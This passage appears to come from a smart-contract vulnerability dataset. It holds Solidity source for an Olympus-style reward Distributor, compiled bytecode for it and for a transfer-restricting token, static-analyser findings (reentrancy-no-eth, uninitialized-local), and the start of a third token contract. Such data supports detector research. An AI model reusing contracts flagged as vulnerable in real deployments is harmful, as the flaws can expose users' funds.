b6001600160a01b038616611c595760405162461bcd60e51b815260040180806020018281038252602381526020018061217d6023913960400191505060405180910390fd5b611c64878787612177565b611ca1856040518060600160405280602681526020016121c2602691396001600160a01b038a16600090815260208190526040902054919061196d565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611cd09086611597565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d0a57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b0316600080516020612230833981519152876040518082815260200191505060405180910390a3611964565b600d546001600160a01b0383811691161480611d715750600d546001600160a01b038581169116145b80611d8957506009546001600160a01b038381169116145b15611e0c57600d546001600160a01b038381169116148015611dbc5750836001600160a01b0316826001600160a01b0316145b15611dc757600a8390555b6001600160a01b038716611c145760405162461bcd60e51b81526004018080602001828103825260258152602001806122506025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611e78576001600160a01b038716611c145760405162461bcd60e51b81526004018080602001828103825260258152602001806122506025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f02576009546001600160a01b0383811691161480611ec75750600b546001600160a01b038581169116145b611dc75760405162461bcd60e51b81526004018080602001828103825260268152602001806121c26026913960400191505060405180910390fd5b600a54831015611f96576009546001600160a01b0385811691161415611dc7576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c145760405162461bcd60e51b81526004018080602001828103825260258152602001806122506025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611fbf5750600b546001600160a01b038581169116145b611ffa5760405162461bcd60e51b81526004018080602001828103825260268152602001806121c26026913960400191505060405180910390fd5b6001600160a01b03871661203f5760405162461bcd60e51b81526004018080602001828103825260258152602001806122506025913960400191505060405180910390fd5b6001600160a01b0386166120845760405162461bcd60e51b815260040180806020018281038252602381526020018061217d6023913960400191505060405180910390fd5b61208f878787612177565b6120cc856040518060600160405280602681526020016121c2602691396001600160a01b038a16600090815260208190526040902054919061196d565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546120fb9086611597565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561213557600c546001600160a01b031696505b856001600160a01b0316876001600160a01b0316600080516020612230833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a23235225a4765b34d83705cae63780641b190d2c4d8bc60f137b35408ea154564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,285
0x3878dB57d6E1c15A3670d32ED15d3853Bd5C6fde
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy( address newPolicy_ ) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred( address(0), _policy ); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require( _policy == msg.sender, "Ownable: caller is not the owner" ); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred( _policy, address(0) ); _policy = address(0); } function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() { require( newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require( msg.sender == _newPolicy ); emit OwnershipTransferred( _policy, _newPolicy ); _policy = _newPolicy; } } interface ITreasury { function mintRewards( address _recipient, uint _amount ) external; } contract Distributor is Policy { using SafeMath for uint; using SafeERC20 for IERC20; /* ====== VARIABLES ====== */ address public immutable OHM; address public immutable treasury; uint public immutable epochLength; uint public nextEpochBlock; mapping( uint => Adjust ) public adjustments; /* ====== STRUCTS ====== */ struct Info { uint rate; // in ten-thousandths ( 5000 = 0.5% ) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } /* ====== CONSTRUCTOR ====== */ constructor( address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock ) { require( _treasury != address(0) ); treasury = _treasury; require( _ohm != address(0) ); OHM = _ohm; epochLength = _epochLength; nextEpochBlock = _nextEpochBlock; } /* ====== PUBLIC FUNCTIONS ====== */ /** @notice send epoch reward to staking contract */ function distribute() external returns ( bool ) { if ( nextEpochBlock <= block.number ) { nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block // distribute rewards to each recipient for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].rate > 0 ) { ITreasury( treasury ).mintRewards( // mint and send from treasury info[ i ].recipient, nextRewardAt( info[ i ].rate ) ); adjust( i ); // check for adjustment } } return true; } else { return false; } } /* ====== INTERNAL FUNCTIONS ====== */ /** @notice increment reward rate for collector */ function adjust( uint _index ) internal { Adjust memory adjustment = adjustments[ _index ]; if ( adjustment.rate != 0 ) { if ( adjustment.add ) { // if rate should increase info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate if ( info[ _index ].rate >= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } else { // if rate should decrease info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate if ( info[ _index ].rate <= adjustment.target ) { // if target met adjustments[ _index ].rate = 0; // turn off adjustment } } } } /* ====== VIEW FUNCTIONS ====== */ /** @notice view function for next reward at given rate @param _rate uint @return uint */ function nextRewardAt( uint _rate ) public view returns ( uint ) { return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 ); } /** @notice view function for next reward for specified address @param _recipient address @return uint */ function nextRewardFor( address _recipient ) public view returns ( uint ) { uint reward; for ( uint i = 0; i < info.length; i++ ) { if ( info[ i ].recipient == _recipient ) { reward = nextRewardAt( info[ i ].rate ); } } return reward; } /* ====== POLICY FUNCTIONS ====== */ /** @notice adds recipient for distributions @param _recipient address @param _rewardRate uint */ function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() { require( _recipient != address(0) ); info.push( Info({ recipient: _recipient, rate: _rewardRate })); } /** @notice removes recipient for distributions @param _index uint @param _recipient address */ function removeRecipient( uint _index, address _recipient ) external onlyPolicy() { require( _recipient == info[ _index ].recipient ); info[ _index ].recipient = address(0); info[ _index ].rate = 0; } /** @notice set adjustment info for a collector's reward rate @param _index uint @param _add bool @param _rate uint @param _target uint */ function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() { adjustments[ _index ] = Adjust({ add: _add, rate: _rate, target: _target }); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a1461038b578063e4fc6b6d146103cd578063f7982243146103ed578063fe3fbbad1461043b576100ff565b8063a15ad077146102b7578063a4b23980146102fb578063a6c41fec14610305578063bc3b2b1214610339576100ff565b806357d775f8116100d357806357d775f81461020d5780635beede081461022b5780635db854b01461023557806361d027b314610283576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610489565b6040518082815260200191505060405180910390f35b61012a61048f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104b8565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050c565b6040518082815260200191505060405180910390f35b6102156105d2565b6040518082815260200191505060405180910390f35b6102336105f6565b005b6102816004803603608081101561024b57600080fd5b81019080803590602001909291908035151590602001909291908035906020019092919080359060200190929190505050610750565b005b61028b61087e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a2565b005b610303610a2d565b005b61030d610bac565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103656004803603602081101561034f57600080fd5b8101908080359060200190929190505050610bd0565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103b7600480360360208110156103a157600080fd5b8101908080359060200190929190505050610c07565b6040518082815260200191505060405180910390f35b6103d5610cd8565b60405180821515815260200191505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8b565b005b6104876004803603604081101561045157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600481815481106104c857600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6004805490508110156105c8578373ffffffffffffffffffffffffffffffffffffffff166004828154811061054357fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105bb576105b8600482815481106105a157fe5b906000526020600020906002020160000154610c07565b91505b8080600101915050610512565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506003600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f00000000000000000000000056d595ea5591d264bc1ef9e073af66685f0bfd3181565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610963576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116ee6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb81565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b6000610cd1620f4240610cc3847f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7a57600080fd5b505afa158015610c8e573d6000803e3d6000fd5b505050506040513d6020811015610ca457600080fd5b81019080805190602001909291905050506111f090919063ffffffff16565b61127690919063ffffffff16565b9050919050565b60004360025411610e8357610d187f00000000000000000000000000000000000000000000000000000000000008986002546112c090919063ffffffff16565b60028190555060005b600480549050811015610e7957600060048281548110610d3d57fe5b9060005260206000209060020201600001541115610e6c577f00000000000000000000000056d595ea5591d264bc1ef9e073af66685f0bfd3173ffffffffffffffffffffffffffffffffffffffff16636a20de9260048381548110610d9e57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610df760048581548110610de057fe5b906000526020600020906002020160000154610c07565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050610e6b81611348565b5b8080600101915050610d21565b5060019050610e88565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8657600080fd5b600460405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6004828154811061110157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461116a57600080fd5b60006004838154811061117957fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600483815481106111d757fe5b9060005260206000209060020201600001819055505050565b6000808314156112035760009050611270565b600082840290508284828161121457fe5b041461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117146021913960400191505060405180910390fd5b809150505b92915050565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114fa565b905092915050565b60008082840190508381101561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113506116ca565b600360008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114f657806000015115611457576113ea8160200151600484815481106113ca57fe5b9060005260206000209060020201600001546112c090919063ffffffff16565b600483815481106113f757fe5b90600052602060002090600202016000018190555080604001516004838154811061141e57fe5b9060005260206000209060020201600001541061145257600060036000848152602001908152602001600020600101819055505b6114f5565b61148c81602001516004848154811061146c57fe5b9060005260206000209060020201600001546115c090919063ffffffff16565b6004838154811061149957fe5b9060005260206000209060020201600001819055508060400151600483815481106114c057fe5b906000526020600020906002020160000154116114f457600060036000848152602001908152602001600020600101819055505b5b5b5050565b600080831182906115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115b257fe5b049050809150509392505050565b600061160283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b60008383111582906116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167c578082015181840152602081019050611661565b50505050905090810190601f1680156116a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122092679d557864c5fa34f8ce35f8b7e32d71e5b18675c98f45812d275371228e7464736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,286
0x21381e026ad6d8266244f2a583b35f9e4413fa2a
/** *Submitted for verification at Etherscan.io on 2021-04-01 */ pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address 